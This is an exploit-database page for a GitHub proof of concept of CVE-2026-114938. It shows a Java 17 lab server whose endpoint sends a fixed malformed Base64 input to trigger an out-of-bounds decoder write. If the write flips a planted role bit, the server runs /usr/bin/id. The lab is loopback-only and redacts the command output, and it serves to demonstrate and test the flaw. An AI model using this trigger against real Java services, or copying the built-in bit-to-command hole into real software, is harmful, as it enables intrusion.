Exploit databaseDownload repository ZIP
GH-dc22912cde4a5c6b3c96692dc2b11830
pwned-test/cve-2026-114938-java17-poc
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
pwned-test/cve-2026-114938-java17-pocRevision e2a4f0c5cdd7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/Java4ShellLab.java
Java · 8,723 bytesimport com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicBoolean;
/** Loopback-only, purpose-built command-execution lab for CVE-2026-114938. */
public final class Java4ShellLab {
private static final int A_COUNT = 128;
private static final int NORMAL_OUTPUT_LENGTH = 98;
private static final int DESTINATION_SIZE = 1024;
private static final byte SENTINEL = (byte) 0x5a;
private static final Base64.Decoder DECODER = Base64.getDecoder();
private static final AtomicBoolean PROBE_USED = new AtomicBoolean();
private static final String PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CVE-2026-114938 Java 17 lab</title>
<style>
body { font: 16px system-ui, sans-serif; max-width: 48rem; margin: 3rem auto; padding: 0 1rem; line-height: 1.5; }
h1 { line-height: 1.2; }
button { font: inherit; padding: .6rem 1rem; cursor: pointer; }
pre { white-space: pre-wrap; background: #f1f3f5; padding: 1rem; border-radius: .4rem; }
code { background: #f1f3f5; padding: .1rem .25rem; }
</style>
</head>
<body>
<h1>CVE-2026-114938 Java 17 lab</h1>
<p>This local site runs on Java 17. Its unauthenticated endpoint decodes the published
malformed Base64 input. A lab role bit is stored at position 98, just beyond the normal
output. The faulty decoder write changes that bit, allowing one fixed diagnostic command:
<code>/usr/bin/id</code>.</p>
<p>This is a purpose-built application chain. It demonstrates command execution caused
by the CVE write in this lab; it does not reproduce an exploit against Jenkins or another
existing application. Restart the server for each run.</p>
<button id="run">Send trigger</button>
<pre id="result" aria-live="polite">Ready.</pre>
<script>
document.getElementById('run').addEventListener('click', async () => {
const result = document.getElementById('result');
result.textContent = 'Testing...';
try {
const response = await fetch('/probe', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: 'A'.repeat(128) + '='
});
result.textContent = await response.text();
} catch (error) {
result.textContent = String(error);
}
});
</script>
</body>
</html>
""";
private Java4ShellLab() {}
private static byte[] aBytes(int count) {
byte[] value = new byte[count];
Arrays.fill(value, (byte) 'A');
return value;
}
private static void warmUp() {
byte[] valid = aBytes(512);
byte[] output = new byte[DESTINATION_SIZE];
for (int i = 0; i < 30_000; i++) {
if (DECODER.decode(valid, output) != 384) {
throw new AssertionError("Unexpected valid Base64 result");
}
}
}
private static void respond(HttpExchange exchange, int status, String contentType, String body)
throws IOException {
byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
exchange.getResponseHeaders().set("Content-Type", contentType + "; charset=utf-8");
exchange.getResponseHeaders().set("Cache-Control", "no-store");
exchange.sendResponseHeaders(status, bytes.length);
try (var output = exchange.getResponseBody()) {
output.write(bytes);
}
}
private static void handleHome(HttpExchange exchange) throws IOException {
if (!"GET".equals(exchange.getRequestMethod())) {
respond(exchange, 405, "text/plain", "GET required\n");
return;
}
respond(exchange, 200, "text/html", PAGE);
}
private static String runProbe(byte[] source) throws IOException {
byte[] output = new byte[DESTINATION_SIZE];
Arrays.fill(output, SENTINEL);
boolean rejected = false;
try {
DECODER.decode(source, output);
} catch (IllegalArgumentException expected) {
rejected = true;
}
int modified = 0;
int first = -1;
int last = -1;
for (int i = NORMAL_OUTPUT_LENGTH; i < output.length; i++) {
if (output[i] != SENTINEL) {
if (first == -1) {
first = i;
}
last = i;
modified++;
}
}
String result = modified > 0 ? "VULNERABLE: extra write observed" : "NO EXTRA WRITE OBSERVED";
String changedPositions = modified > 0 ? first + ".." + last : "none";
boolean labAdmin = (output[NORMAL_OUTPUT_LENGTH] & 0x80) != 0;
String commandResult = "DENIED: role bit is clear";
if (labAdmin) {
Process command = new ProcessBuilder("/usr/bin/id").redirectErrorStream(true).start();
// Drain command output without sending local account details to the browser.
command.getInputStream().readAllBytes();
try {
int exitCode = command.waitFor();
if (exitCode != 0) {
throw new IOException("Lab diagnostic command failed with exit status " + exitCode);
}
commandResult = "/usr/bin/id -> executed (exit 0; account output redacted)";
} catch (InterruptedException interrupted) {
Thread.currentThread().interrupt();
throw new IOException("Interrupted while waiting for lab command", interrupted);
}
}
return "CVE-2026-114938\n"
+ "Java runtime: " + System.getProperty("java.runtime.version") + "\n"
+ "Malformed Base64 rejected: " + rejected + "\n"
+ "Bytes changed beyond normal output: " + modified + "\n"
+ "Changed positions: " + changedPositions + "\n"
+ "Byte at position 98: 0x" + Integer.toHexString(output[NORMAL_OUTPUT_LENGTH] & 0xff) + "\n"
+ "Lab role bit set: " + labAdmin + "\n"
+ "Diagnostic command: " + commandResult + "\n"
+ "Result: " + result + "\n";
}
private static void handleProbe(HttpExchange exchange) throws IOException {
if (!"POST".equals(exchange.getRequestMethod())) {
respond(exchange, 405, "text/plain", "POST required\n");
return;
}
byte[] source = exchange.getRequestBody().readNBytes(A_COUNT + 2);
if (source.length != A_COUNT + 1 || source[A_COUNT] != '=' ||
!Arrays.equals(Arrays.copyOf(source, A_COUNT), aBytes(A_COUNT))) {
respond(exchange, 400, "text/plain", "Expected exactly 128 'A' bytes followed by '='\n");
return;
}
if (!PROBE_USED.compareAndSet(false, true)) {
respond(exchange, 409, "text/plain", "Restart the Java 17 server for another probe\n");
return;
}
respond(exchange, 200, "text/plain", runProbe(source));
}
public static void main(String[] args) throws IOException {
if (Runtime.version().feature() != 17) {
throw new IllegalStateException("This lab requires Java 17");
}
warmUp();
if (args.length == 1 && "--self-test".equals(args[0])) {
byte[] source = Arrays.copyOf(aBytes(A_COUNT), A_COUNT + 1);
source[A_COUNT] = '=';
System.out.print(runProbe(source));
return;
}
int port = args.length == 0 ? 4444 : Integer.parseInt(args[0]);
HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);
server.createContext("/", Java4ShellLab::handleHome);
server.createContext("/probe", Java4ShellLab::handleProbe);
server.start();
System.out.println("Java4Shell lab running at http://127.0.0.1:" + port + "/");
System.out.println("Runtime: " + System.getProperty("java.runtime.version"));
}
}